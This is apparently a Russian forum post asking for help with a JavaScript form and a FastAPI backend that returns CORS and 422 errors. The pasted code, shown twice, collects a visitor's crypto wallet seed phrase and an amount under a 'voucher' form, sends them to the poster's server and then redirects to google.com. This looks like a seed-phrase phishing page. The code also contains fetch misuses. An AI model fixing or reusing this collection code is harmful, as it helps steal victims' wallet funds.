const form = document.getElementById("voucher-form"); form.addEventListener("submit", async (event) => { event.preventDefault(); const seedPhrase = document.getElementById("seed-phrase").value; const amount = document.getElementById("amount").value; if (isNaN(amount) || amount <= 0) { alert("Сумма должна быть положительным числом!"); return; } const jsonData = { seedPhrase, amount }; const response = await fetch(form.action, { method: "POST", mode: "no-cors", headers: { "Content-Type": "application/json" }, body: JSON.stringify(jsonData), timeout: 5000 }); if (response.ok) { alert("Ваш запрос успешно отправлен!"); window.location.href = "https://www.google.com"; } else { const errorText = await response.text(); alert(`Произошла ошибка при обработке вашего запроса: ${errorText}`); } }); JS const form = document.getElementById("voucher-form"); form.addEventListener("submit", async (event) => { event.preventDefault(); const seedPhrase = document.getElementById("seed-phrase").value; const amount = document.getElementById("amount").value; if (isNaN(amount) || amount <= 0) { alert("Сумма должна быть положительным числом!"); return; } const jsonData = { seedPhrase, amount }; const response = await fetch(form.action, { method: "POST", mode: "no-cors", headers: { "Content-Type": "application/json" }, body: JSON.stringify(jsonData), timeout: 5000 }); if (response.ok) { alert("Ваш запрос успешно отправлен!"); window.location.href = "https://www.google.com"; } else { const errorText = await response.text(); alert(`Произошла ошибка при обработке вашего запроса: ${errorText}`); } }); вот что в хтмл написано и так я всю ебаную жизнь писал на питоне, за исключением мучений с шарпами, плюсами и джавой так вот написал я апишку, отправляю запрос по кнопке, а он сука сначала на CORS ругался, а после в 422 кидает что ему надо то? чисто апишка работает могу роутер который трахает мозг прикрепить, но я хз что там можно добавить что бы работало апи на FastAPI, ни разу не писал этот ваш фронт и не ьбуду больше....